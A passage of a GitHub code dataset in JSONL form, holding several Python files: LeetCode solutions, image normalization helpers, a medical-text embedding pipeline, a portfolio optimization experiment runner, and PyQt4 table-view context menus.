button_color=(b_c))\n\nwindow.close()","repo_name":"Odake-Atsushi/RosMapGenerator","sub_path":"dot/pazzle.py","file_name":"pazzle.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"28108446922","text":"class Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n index=0\n seen=set()\n for i in range(len(nums)):\n if nums[i] not in seen:\n seen.add(nums[i])\n nums[index]=nums[i]\n index+=1\n return index","repo_name":"neeraj027/LeetCode","sub_path":"RemoveDuplicatesfromSortedArray..py","file_name":"RemoveDuplicatesfromSortedArray..py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"13165779257","text":"import numpy as np\nfrom scipy.misc import imsave\n\nconfig = {}\nconfig[\"epsilon\"] = 1e-7\n\nEPSILON = config[\"epsilon\"]\n\n\ndef min_max_normalization(x, l_range = 0.0, r_range = 1.0, axis = None):\n\n\tassert (l_range < r_range), \"l_range must be less than r_range\"\n\n\tmin_x = np.amin(x, axis = axis, keepdims = True)\n\tmax_x = np.amax(x, axis = axis, keepdims = True)\n\n\tout = (x - min_x) / np.maximum(max_x - min_x, EPSILON)\n\tout = ((r_range - l_range) * out) + l_range\n\n\treturn out\n\ndef min_max_normalization_multiple_images(x, l_range = 0.0, r_range = 1.0, axis = None):\n\n\tif isinstance(axis, tuple):\n\t\tfor a in axis:\n\t\t\tassert (a > 0), \"Axis is out of bound or First axis represent different images.\"\n\telse:\n\t\tassert (axis > 0), \"Axis is out of bound or First axis represent different images.\"\n\n\tout = np.zeros_like(x)\n\n\tfor i in range(x.shape[0]):\n\t\tout[i] = min_max_normalization(x[i], l_range = l_range, r_range = r_range, axis = axis - 1)\n\n\treturn out\n\ndef mean_std_normalization(x, mean = 0.0, stddev = 1.0, axis = None):\n\tout = None\n\n\tmean_x = np.mean(x, axis = axis, keepdims = True)\n\tstd_x = np.std(x, axis = axis, keepdims = True)\n\n\tout = (x - mean_x) / np.maximum(std_x, EPSILON)\n\tout = (out * stddev) + mean\n\n\treturn out\n\ndef mean_std_normalization_multiple_images(x, mean = 0.0, stddev = 1.0, axis = None):\n\n\tif isinstance(axis, tuple):\n\t\tfor a in axis:\n\t\t\tassert (a > 0), \"Axis is out of bound or First axis represent different images.\"\n\telse:\n\t\tassert (axis > 0), \"Axis is out of bound or First axis represent different images.\"\n\n\tout = np.zeros_like(x)\n\n\tfor i in range(x.shape[0]):\n\t\tout[i] = mean_std_normalization(x[i], mean = mean, stddev = stddev, axis = axis - 1)\n\n\treturn out\n\ndef clip_pixel_value(x, l_bound = 0.0, r_bound = 1.0):\n\treturn np.clip(x, a_min = l_bound, a_max = r_bound)\n\ndef save_image(image, path, fmt = None):\n\tis_success = True\n\n\tassert (len(image.shape) in [2, 3]), \"image argument must be 2-D or 3-D\"\n\tif len(image.shape) == 3:\n\t\tassert (image.shape[-1] in [3, 4]), \"if image argument is 3-D then last dimension must be 3 or 4\"\n\n\tif not os.path.exists(path):\n\t\ttry:\n\t\t\tos.mkdir(os.path.dirname(path))\n\t\texcept:\n\t\t\traise(\"Error in making directory. Try with sudo.\")\n\n\ttry:\n\t\timsave(path, image, format = fmt)\n\texcept:\n\t\tis_success = False\n\n\treturn is_success\n\ndef save_images(images, dirpath, file_name, fmt = None):\n\timages_saved = 0\n\n\tassert (images.shape[0] < len(file_name)), \"Please provide enough image file names.\"\n\n\tfor i in range(images.shape[0]):\n\t\tif save_image(images[i], path = os.path.join(dirpath, file_name[i]), fmt = fmt):\n\t\t\timages_saved += 1\n\n\treturn images_saved\n","repo_name":"BhagyeshVikani/ImagesHelper","sub_path":"images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"74427626807","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport pickle\n\nfrom Reader import Reader\nfrom Preprocessing import nltkSentenceSplit, nltkTokenize\nfrom embeddings.Embeddings import Embeddings, writeEmbeddingsPickle, readEmbeddingsPickle\nfrom embeddings.Vocabulary import createVocabularyFile, createFasttextModel\n\n\ndef runEmbeddingCreationPipeline(settings):\n\n createVocabulary(settings)\n createEmbeddingModels(settings)\n for corpus in (\"train\", \"test\"):\n createEmbeddingsPickle(settings, corpus)\n\ndef createVocabulary(settings):\n if not os.path.exists(settings[\"embeddings\"][\"vocabulary_path\"]):\n sentenceList = list()\n for corpus in (\"train\", \"test\"):\n reader = Reader(dataSettings=settings, corpus=corpus)\n filesRead = reader.loadDataSet()\n for fileName in filesRead:\n sentences = nltkSentenceSplit(filesRead[fileName], verbose=False)\n sentenceList.extend(sentence for sentence in sentences)\n createVocabularyFile(sentenceList, settings[\"embeddings\"][\"vocabulary_path\"], verbose=False)\n\ndef createEmbeddingModels(settings):\n # Create smaller biowordvec embedding models\n if not (os.path.exists(settings[\"embeddings\"][\"biowordvec_original\"]) or os.path.exists(settings[\"embeddings\"][\"biowordvec_normalized\"])):\n print(\"just testing\")\n createFasttextModel(settings[\"embeddings\"][\"vocabulary_path\"], settings[\"embeddings\"][\"wordvec_path\"],\n settings[\"embeddings\"][\"biowordvec_original\"], settings[\"embeddings\"][\"biowordvec_normalized\"])\n\ndef createEmbeddingsPickle(settings, corpus):\n if corpus == \"train\": picklePath = settings[\"embeddings\"][\"train_embeddings_pickle\"]\n elif corpus == \"test\": picklePath = settings[\"embeddings\"][\"test_embeddings_pickle\"]\n\n tokenizedSentenceList = list()\n if not os.path.exists(picklePath):\n reader = Reader(dataSettings=settings, corpus=corpus)\n filesRead = reader.loadDataSet()\n for fileName in filesRead:\n sentences = nltkSentenceSplit(filesRead[fileName], verbose=False)\n for sentence in sentences:\n sentence = nltkTokenize(sentence)\n tokenizedSentenceList.extend([sentence])\n\n embeddings = Embeddings(settings[\"embeddings\"][\"biowordvec_original\"], settings[\"embeddings\"][\"biowordvec_normalized\"],\n int(settings[\"embeddings\"][\"wordvec_size\"]))\n\n embeddingsVec = embeddings.wordvec_concat(tokenizedSentenceList)\n writeEmbeddingsPickle(embeddingsVec, picklePath)\n print(\"Created pickle file {}\".format(picklePath))\n\n\ndef createSentencesFile(settings):\n if not os.path.exists(settings[\"embeddings\"][\"sentences_path\"]):\n sentenceList = list()\n for corpus in (\"train\", \"test\"):\n reader = Reader(dataSettings=settings, corpus=corpus)\n filesRead = reader.loadDataSet()\n for fileName in filesRead:\n sentences = nltkSentenceSplit(filesRead[fileName], verbose=False)\n sentenceList.extend(nltkTokenize(sentence) for sentence in sentences)\n\n with open(settings[\"embeddings\"][\"sentences_path\"], 'wb') as pickle_handle:\n pickle.dump(sentenceList, pickle_handle, protocol=4)","repo_name":"ieeta-pt/PatientFM","sub_path":"src/embeddings/Pipeline.py","file_name":"Pipeline.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"} +{"seq_id":"19236867227","text":"# -*-coding:utf-8 -*-\n\"\"\"\nGiven two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array.\n\nNote:\n\nThe number of elements initialized in nums1 and nums2 are m and n respectively.\nYou may assume that nums1 has enough space (size that is greater or equal to m + n) to hold additional elements from nums2.\nExample:\n\nInput:\nnums1 = [1,2,3,0,0,0], m = 3\nnums2 = [2,5,6], n = 3\n\nOutput: [1,2,2,3,5,6]\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n \"\"\"\n Do not return anything, modify nums1 in-place instead.\n \"\"\"\n if m == 0:\n nums1[:] = nums2\n elif n == 0:\n pass\n else:\n nums1_index = nums2_index = 0\n while nums1_index < m + n:\n if nums1[nums1_index] < nums2[nums2_index]:\n nums1_index = nums1_index + 1\n else:\n nums1.insert(nums1_index, nums2[nums2_index])\n nums1_index = nums1_index + 1\n nums2_index = nums2_index + 1\n\n if nums1_index == m + nums2_index:\n nums1[nums1_index:] = nums2[nums2_index:]\n break\n elif nums2_index > n - 1:\n nums1[:] = nums1[0:m + n]\n break\n\n\nif __name__ == '__main__':\n solution = Solution()\n\n nums1_1 = [1, 2, 3]\n m_1 = 3\n nums2_1 = []\n n_1 = 0\n solution.merge(nums1_1, m_1, nums2_1, n_1)\n print(nums1_1)\n\n nums1_2 = [1, 2, 3, 0, 0, 0]\n m_2 = 3\n nums2_2 = [2, 5, 6]\n n_2 = 3\n solution.merge(nums1_2, m_2, nums2_2, n_2)\n print(nums1_2)\n\n nums1_3 = [0]\n m_3 = 0\n nums2_3 = [1]\n n_3 = 1\n solution.merge(nums1_3, m_3, nums2_3, n_3)\n print(nums1_3)\n\n nums1_4 = [1, 0]\n m_4 = 1\n nums2_4 = [2]\n n_4 = 1\n solution.merge(nums1_4, m_4, nums2_4, n_4)\n print(nums1_4)\n\n nums1_5 = [2, 0]\n m_5 = 1\n nums2_5 = [1]\n n_5 = 1\n solution.merge(nums1_5, m_5, nums2_5, n_5)\n print(nums1_5)\n\n nums1_6 = [4,5,6,0,0,0]\n m_6 = 3\n nums2_6 = [1,2,3]\n n_6 = 3\n solution.merge(nums1_6, m_6, nums2_6, n_6)\n print(nums1_6)\n\n","repo_name":"thaisday/Leecode","sub_path":"088_MergeSortedArray.py","file_name":"088_MergeSortedArray.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"72862035448","text":"__author__ = 'Stuart Gordon Reid'\n\nfrom AssetSimulator import AssetSimulator\nfrom Barebones import BarebonesOptimizer\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport matplotlib\nimport Portfolio\nimport pandas\nimport numpy\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\n\ndef plot_paths(r, sim):\n \"\"\"\n This method plots a number of asset paths generated using Geometric Brownian Motion\n \"\"\"\n asset_prices = sim.asset_prices(500, returns=r)\n for p in asset_prices:\n plt.plot(p)\n plt.show()\n\n\ndef plot_results(results, labels, ylabel, path):\n plt.figure(figsize=(10.5, 6))\n plt.style.use(\"grayscaleb\")\n plt.ylabel(ylabel)\n plt.xlabel(\"Iterations\")\n linestyles = ['--', ':', '-.', '-']\n linewidth = [3.0, 2, 2, 2, 1.5]\n if len(results) == 5:\n for i in range(len(results)):\n plt.plot(results[i], label=labels[i], linestyle=linestyles[i % 4], linewidth=linewidth[i % 5])\n else:\n for i in range(len(results) + 1):\n if i == 0:\n plt.plot([], linestyle=' ')\n else:\n plt.plot(results[i - 1], label=labels[i - 1], linestyle=linestyles[i % 4], linewidth=linewidth[i % 5])\n plt.legend(loc=\"best\")\n plt.savefig(path)\n plt.cla()\n\n\ndef three_dimensional_landscape(returns, corr_m, size, c_e=1.0, c_b=1.0, m_e=1.0, m_b=1.0):\n \"\"\"\n This method plots the fitness landscape for each three methods in three dimensions (surface plot)\n \"\"\"\n step = float(1 / size)\n x_axis = numpy.arange(0.0, 1.0, step)\n y_axis = numpy.arange(0.0, 1.0, step)\n z_axis_nochange = numpy.zeros(shape=(size, size))\n z_axis_repaired = numpy.zeros(shape=(size, size))\n z_axis_penaltym = numpy.zeros(shape=(size, size))\n z_axis_lagrange = numpy.zeros(shape=(size, size))\n for i in range(size):\n for j in range(size):\n x, y = x_axis[i], y_axis[j]\n p = Portfolio.Portfolio(returns, corr_m, numpy.array([x, y]))\n z_axis_nochange[i][j] = p.min_objective()\n z_axis_penaltym[i][j] = p.penalty_objective(c_e, c_b)\n z_axis_lagrange[i][j] = p.lagrange_objective(c_e, c_b, m_e, m_b)\n z_axis_repaired[i][j] = p.repair_objective()\n x_axis, y_axis = numpy.meshgrid(x_axis, y_axis)\n plot_surface(x_axis, y_axis, z_axis_nochange, \"N\")\n plot_surface(x_axis, y_axis, z_axis_repaired, \"R\")\n plot_surface(x_axis, y_axis, z_axis_penaltym, \"P\")\n plot_surface(x_axis, y_axis, z_axis_lagrange, \"L\")\n\n\ndef plot_surface(X, Y, Z, label):\n \"\"\"\n This method actually plots and shows the three dimensional surface\n \"\"\"\n fig = plt.figure(figsize=(15, 10))\n ax = fig.gca(projection='3d')\n surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm, linewidth=0)\n ax.zaxis.set_major_locator(LinearLocator(10))\n ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n\n fig.colorbar(surf, shrink=0.5, aspect=5)\n '''\n for ii in range(0, 360, 90):\n ax.view_init(elev=10., azim=ii)\n plt.savefig(\"Views/View II \" + label + \" \" + str(ii) + \".png\")\n '''\n plt.show()\n\n\ndef runner_all(n, sigma, delta, mu, time, iterations, simulations, path, ce, cb, le, lb):\n print(\"Experiment\", path, \"starting\")\n asset_simulator = AssetSimulator(delta, sigma, mu, time)\n\n Portfolio.memoizer = {}\n none, penalty, lagrange, repair, preserve, ss = [], [], [], [], [], 30\n none_ve, penalty_ve, lagrange_ve, repair_ve, preserve_ve = [], [], [], [], []\n none_vb, penalty_vb, lagrange_vb, repair_vb, preserve_vb = [], [], [], [], []\n\n for i in range(simulations):\n print(\"Simulation\", i, \"starting\")\n asset_returns = asset_simulator.assets_returns(n)\n corr = pandas.DataFrame(asset_returns).transpose().corr()\n # three_dimensional_landscape(asset_returns, corr, 100)\n\n none_opt = BarebonesOptimizer(ss, asset_returns, corr)\n result, violation_e, violation_b = none_opt.optimize_none(iterations + 1, ce, cb, le, lb)\n none_ve.append(violation_e)\n none_vb.append(violation_b)\n none.append(result)\n print(\"\\tAlgorithm 1 Done\")\n\n lagrange_opt = BarebonesOptimizer(ss, asset_returns, corr)\n result, violation_e, violation_b = lagrange_opt.optimize_penalty(iterations + 1, ce, cb, le, lb)\n penalty_ve.append(violation_e)\n penalty_vb.append(violation_b)\n penalty.append(result)\n print(\"\\tAlgorithm 2 Done\")\n\n lagrange_opt = BarebonesOptimizer(ss, asset_returns, corr)\n result, violation_e, violation_b = lagrange_opt.optimize_lagrange(iterations + 1, ce, cb, le, lb)\n lagrange_ve.append(violation_e)\n lagrange_vb.append(violation_b)\n lagrange.append(result)\n print(\"\\tAlgorithm 3 Done\")\n\n repair_opt = BarebonesOptimizer(ss, asset_returns, corr)\n result, violation_e, violation_b = repair_opt.optimize_repair(iterations + 1, ce, cb, le, lb)\n repair_ve.append(violation_e)\n repair_vb.append(violation_b)\n repair.append(result)\n print(\"\\tAlgorithm 4 Done\")\n\n preserve_opt = BarebonesOptimizer(ss, asset_returns, corr)\n result, violation_e, violation_b = preserve_opt.optimize_preserving(iterations + 1, ce, cb, le, lb)\n preserve_ve.append(violation_e)\n preserve_vb.append(violation_b)\n preserve.append(result)\n print(\"\\tAlgorithm 5 Done\")\n\n n_r, n_ve, n_vb = pandas.DataFrame(none), pandas.DataFrame(none_ve), pandas.DataFrame(none_vb)\n r_r, r_ve, r_vb = pandas.DataFrame(repair), pandas.DataFrame(repair_ve), pandas.DataFrame(repair_vb)\n p_r, p_ve, p_vb = pandas.DataFrame(preserve), pandas.DataFrame(preserve_ve), pandas.DataFrame(preserve_vb)\n pr_r, pr_ve, pr_vb = pandas.DataFrame(penalty), pandas.DataFrame(penalty_ve), pandas.DataFrame(penalty_vb)\n l_r, l_ve, l_vb = pandas.DataFrame(lagrange), pandas.DataFrame(lagrange_ve), pandas.DataFrame(lagrange_vb)\n\n n_r.to_csv(path + \"/None Fitness.csv\")\n n_ve.to_csv(path + \"/None Equality.csv\")\n n_vb.to_csv(path + \"/None Boundary.csv\")\n\n r_r.to_csv(path + \"/Repair Fitness.csv\")\n r_ve.to_csv(path + \"/Repair Equality.csv\")\n r_vb.to_csv(path + \"/Repair Boundary.csv\")\n\n p_r.to_csv(path + \"/Preserve Fitness.csv\")\n p_ve.to_csv(path + \"/Preserve Equality.csv\")\n p_vb.to_csv(path + \"/Preserve Boundary.csv\")\n\n pr_r.to_csv(path + \"/Penalty Fitness.csv\")\n pr_ve.to_csv(path + \"/Penalty Equality.csv\")\n pr_vb.to_csv(path + \"/Penalty Boundary.csv\")\n\n l_r.to_csv(path + \"/Lagrangian Fitness.csv\")\n l_ve.to_csv(path + \"/Lagrangian Equality.csv\")\n l_vb.to_csv(path + \"/Lagrangian Boundary.csv\")\n\n plot_results([n_r.mean(), r_r.mean(), pr_r.mean(), l_r.mean(), p_r.mean()],\n [\"A1 (No Method)\", \"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Fitness f()\", path + \"/1 Fitness\")\n\n plot_results([r_r.mean(), pr_r.mean(), l_r.mean(), p_r.mean()],\n [\"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Fitness f()\", path + \"/1 Fitness Ex None\")\n\n plot_results([n_ve.mean(), r_ve.mean(), pr_ve.mean(), l_ve.mean(), p_ve.mean()],\n [\"A1 (No Method)\", \"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Equality Constraint Violation, C_E()\", path + \"/2 Equality Violations\")\n\n plot_results([r_ve.mean(), pr_ve.mean(), l_ve.mean(), p_ve.mean()],\n [\"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Equality Constraint Violation, C_E()\", path + \"/2 Equality Violations Ex None\")\n\n plot_results([n_vb.mean(), r_vb.mean(), pr_vb.mean(), l_vb.mean(), p_vb.mean()],\n [\"A1 (No Method)\", \"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Boundary Constraint Violation, C_B()\", path + \"/3 Boundary Violations\")\n\n plot_results([r_vb.mean(), pr_vb.mean(), l_vb.mean(), p_vb.mean()],\n [\"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Boundary Constraint Violation, C_B()\", path + \"/3 Boundary Violations Ex None\")\n\n plot_results([n_r.std(), r_r.std(), pr_r.std(), l_r.std(), p_r.std()],\n [\"A1 (No Method)\", \"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Fitness Standard Deviation f()\", path + \"/4 Fitness Stdev\")\n\n plot_results([r_r.std(), pr_r.std(), l_r.std(), p_r.std()],\n [\"A2 (Particle Repair Method)\", \"A3 (Penalty Function Method)\",\n \"A4 (Augmented Lagrangian Method)\", \"A5 (Preserving Feasibility Method)\"],\n \"Average Global Best Fitness Standard Deviation f()\", path + \"/4 Fitness Stdev Ex None\")\n\n\ndef surface_plotter(n, sigma, delta, mu, time, c_e, c_b, m_e, m_b):\n asset_simulator = AssetSimulator(delta, sigma, mu, time)\n asset_returns = asset_simulator.assets_returns(n)\n corr = pandas.DataFrame(asset_returns).transpose().corr()\n three_dimensional_landscape(asset_returns, corr, 200, c_e, c_b, m_e, m_b)\n\n\ndef run():\n matplotlib.rc('font', family='Arial')\n coeff_e, coeff_b, lagrange_e, lagrange_b = 2.0, 2.0, 0.5, 0.5\n runner_all(4, 0.125, float(1 / 252), 0.08, 500, 80, 60, \"Results (A)\", coeff_e, coeff_b, lagrange_e, lagrange_b)\n runner_all(8, 0.125, float(1 / 252), 0.08, 500, 80, 60, \"Results (B)\", coeff_e, coeff_b, lagrange_e, lagrange_b)\n runner_all(16, 0.125, float(1 / 252), 0.08, 500, 80, 60, \"Results (C)\", coeff_e, coeff_b, lagrange_e, lagrange_b)\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"malliwi88/SimplexProjectors","sub_path":"Python/v0.1/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":10392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"40425951499","text":"from PyQt4 import QtGui, QtCore\n\nfrom library.InDocTable import CInDocTableView\nfrom models.RCTableModel import CRCLocItemDelegate, CRCLocItemFieldDelegate\n\nclass CInDocTableViewModifyPopup(CInDocTableView):\n def addPopupAction(self, action):\n self.popupMenu().addAction(action)\n\n def initPopupAction(self, act, objectName, actName, slot):\n act = QtGui.QAction(actName, self)\n act.setObjectName(objectName)\n self.connect(act, QtCore.SIGNAL('triggered()'), slot)\n self.addPopupAction(act)\n return act\n\n\n\nclass CRCTableFieldsView(CInDocTableViewModifyPopup):\n def __init__(self, parent):\n CInDocTableView.__init__(self, parent)\n self.setItemDelegate(CRCLocItemFieldDelegate(self))\n self.setSelectionMode(QtGui.QAbstractItemView.SingleSelection)\n self.setDragDropMode(QtGui.QAbstractItemView.InternalMove)\n self._actDelete = None\n self._actEdit = None\n\n self.addPopupDeleteCol()\n\n def setColSize(self):\n self.horizontalHeader().setStretchLastSection(False)\n self.horizontalHeader().setResizeMode(0, QtGui.QHeaderView.Stretch)\n\n def addPopupDeleteCol(self):\n self._actDelete = self.initPopupAction(self._actDelete, 'actDelete', u'Удалить', self.on_actDelete_triggered)\n\n def addPopupEdit(self):\n self._actEdit = self.initPopupAction(self._actEdit, 'actEdit', u'Изменить', self.on_actEdit_triggered)\n\n def on_actDelete_triggered(self):\n row = self.currentIndex().row()\n self.model().deleteItem(row)\n\n def on_actEdit_triggered(self):\n self.model().setExtededEditMode(self.curretIndex.row())\n\nclass CRCTableParamsView(CInDocTableViewModifyPopup):\n def __init__(self, parent):\n CInDocTableView.__init__(self, parent)\n self._actDelete = None\n\n self.addPopupDeleteCol()\n\n def addPopupDeleteCol(self):\n self._actDelete = self.initPopupAction(self._actDelete, 'actDelete', u'Удалить', self.on_actDelete_triggered)\n\n def on_actDelete_triggered(self):\n row = self.currentIndex().row()\n self.model().deleteItem(row)\n\nclass CRCTableCapView(CInDocTableViewModifyPopup):\n def __init__(self, parent):\n CInDocTableView.__init__(self, parent)\n self.setItemDelegate(CRCLocItemDelegate(self))\n self.buffer = []\n self.verticalHeader().show()\n self.verticalHeader().setSelectionBehavior(QtGui.QAbstractItemView.SelectRows)\n self.horizontalHeader().setSelectionBehavior(QtGui.QAbstractItemView.SelectColumns)\n self.horizontalHeader().setSortIndicatorShown(False)\n self.horizontalHeader().setStretchLastSection(False)\n\n self._actAddColBeforeCurrent = None\n self._actAddColAfterCurrent = None\n self._actDeleteCol = None\n self._actAddRowBeforeCurrent = None\n self._actAddRowAfterCurrent = None\n self._actDeleteRow = None\n self._actSpan = None\n self._actClearCurrentSpan = None\n self._actAddGroupRow = None\n self._actDeleteGroupRow = None\n\n self.addPopupAddColBeforeCurrent()\n self.addPopupAddColAfterCurrent()\n self.addPopupDeleteCol()\n self.addPopupAddRowBeforeCurrent()\n self.addPopupAddRowAfterCurrent()\n self.addPopupDeleteRow()\n self.addPopupSpan()\n self.addPopupClearCurrentSpan()\n self.addPopupAddGroupRow()\n self.addPopupDeleteGroupRow()\n\n def addPopupAddColBeforeCurrent(self):\n self._actAddColBeforeCurrent = self.initPopupAction(self._actAddColBeforeCurrent, 'actAddColBeforeCurrent', u'Вставить столбец до', self.on_actAddColBeforeCurrent_triggered)\n\n def addPopupAddColAfterCurrent(self):\n self._actAddColBeforeCurrent = self.initPopupAction(self._actAddColAfterCurrent, 'actAddColAfterCurrent', u'Вставить столбец после', self.on_actAddColAfterCurrent_triggered)\n\n def addPopupDeleteCol(self):\n self._actDeleteCol = self.initPopupAction(self._actDeleteCol, 'actDeleteCol', u'Удалить колонку', self.on_actDeleteCol_triggered)\n\n def addPopupAddRowBeforeCurrent(self):\n self._actAddRowBeforeCurrent = self.initPopupAction(self._actAddRowBeforeCurrent, 'actAddRowBeforeCurrent', u'Вставить строку до', self.on_actAddRowBeforeCurrent_triggered)\n\n def addPopupAddRowAfterCurrent(self):\n self._actAddRowAfterCurrent = self.initPopupAction(self._actAddRowAfterCurrent, 'actAddRowAfterCurrent', u'Вставить строку после', self.on_actAddRowAfterCurrent_triggered)\n\n def addPopupDeleteRow(self):\n self._actDeleteRow = self.initPopupAction(self._actDeleteRow, 'actDeleteRow', u'Удалить строку', self.on_actDeleteRow_triggered)\n\n def addPopupSpan(self):\n self._actSpan = self.initPopupAction(self._actSpan, 'actSpan', u'Объединить ячейки', self.on_actSpan_triggered)\n\n def addPopupClearCurrentSpan(self):\n self._actClearCurrentSpan = self.initPopupAction(self._actClearCurrentSpan, 'actClearCurrentSpan', u'Разделить ячейки', self.on_actClearCurrentSpan_triggered)\n\n def addPopupAddGroupRow(self):\n self._actAddGroupRow = self.initPopupAction(self._actAddGroupRow, 'actAddGroupRow', u'Добавить группировку', self.on_actAddGroupRow_triggered)\n\n def addPopupDeleteGroupRow(self):\n self._actDeleteGroupRow = self.initPopupAction(self._actDeleteGroupRow, 'actDeleteGroupRow', u'Удалить группировку', self.on_actDeleteGroupRow_triggered)\n\n def on_actAddColBeforeCurrent_triggered(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n self.model().addColumn(column)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actAddColAfterCurrent_triggered(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n self.model().addColumn(column + columnCount)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actDeleteCol_triggered(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n self.model().deleteColumn(column + 1)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actAddRowBeforeCurrent_triggered(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n self.model().addRow(row)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actAddRowAfterCurrent_triggered(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n self.model().addRow(row + rowCount)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actDeleteRow_triggered(self):\n indexes = self.selectionModel().selectedRows()\n for index in indexes:\n row = index.row()\n self.model().deleteRow(row)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actSpan_triggered(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n\n self.setSpan(row, column, rowCount, columnCount)\n\n index = self.model().createIndex(row, column)\n item = self.model().getItem(index)\n item.setRowSpan(rowCount)\n item.setColumnSpan(columnCount)\n self.model().setItem(index, item)\n\n def on_actClearCurrentSpan_triggered(self):\n indexes = self.selectionModel().selectedIndexes()\n for index in indexes:\n item = self.model().getItem(index)\n item.setRowSpan(1)\n item.setColumnSpan(1)\n self.model().setItem(index, item)\n self.spanUpdate()\n\n def on_actAddGroupRow_triggered(self):\n self.model().addGroupRow()\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_actDeleteGroupRow_triggered(self):\n row = self.currentIndex().row()\n self.model().deleteGroupRow(row)\n self.model().reset()\n self.resizeColumnsToContents()\n\n def on_popupMenu_aboutToShow(self):\n row = self.getSelectionRectangle()[0]\n checkSelectionEqCurrentSpan = self.checkSelectionEqCurrentSpan()\n checkSelectionContainsFieldRow = self.checkSelectionContainsFieldRow()\n checkSelectionContainsGroupRow = self.checkSelectionContainsGroupRow()\n multiSelection = bool(len(self.selectionModel().selectedIndexes()) > 1)\n singleSelection = bool(len(self.selectionModel().selectedIndexes()) == 1)\n selectedColumns = bool(len(self.selectionModel().selectedColumns()))\n selectedRows = bool(len(self.selectionModel().selectedRows()))\n selectedOneRow = self.checkSelectedOneRow()\n fieldRow = bool(row == self.model()._fieldRow)\n groupRow = self.model().isGroupRow(row)\n capRow = not fieldRow and not groupRow\n\n if self._actSpan:\n self._actSpan.setEnabled(multiSelection and not checkSelectionEqCurrentSpan\n and not checkSelectionContainsFieldRow\n and (not checkSelectionContainsGroupRow or (selectedOneRow and bool(groupRow))))\n if self._actClearCurrentSpan:\n self._actClearCurrentSpan.setEnabled(multiSelection and checkSelectionEqCurrentSpan)\n if self._actDeleteCol:\n self._actDeleteCol.setEnabled(singleSelection)\n if self._actDeleteRow:\n self._actDeleteRow.setEnabled(selectedRows and not fieldRow)\n if self._actAddRowAfterCurrent:\n self._actAddRowAfterCurrent.setEnabled((singleSelection or checkSelectionEqCurrentSpan) and capRow)\n if self._actAddColBeforeCurrent:\n self._actAddColBeforeCurrent.setEnabled(singleSelection or checkSelectionEqCurrentSpan)\n if self._actAddColAfterCurrent:\n self._actAddColAfterCurrent.setEnabled(singleSelection or checkSelectionEqCurrentSpan)\n if self._actAddRowBeforeCurrent:\n self._actAddRowBeforeCurrent.setEnabled((singleSelection or checkSelectionEqCurrentSpan) and capRow)\n if self._actAddGroupRow:\n self._actAddGroupRow.setEnabled(True)\n if self._actDeleteGroupRow:\n self._actDeleteGroupRow.setEnabled(bool(groupRow) and singleSelection)\n\n def checkSelectionEqCurrentSpan(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n index = self.model().createIndex(row, column)\n item = self.model().getItem(index)\n if item and (rowCount == item.rowSpan()) and (columnCount == item.columnSpan()):\n return True\n return False\n\n def checkSelectionContainsFieldRow(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n fieldRow = self.model()._fieldRow\n if fieldRow < row + rowCount and fieldRow >= row:\n return True\n return False\n\n def checkSelectionContainsGroupRow(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n for idx in range(row, row + rowCount):\n if 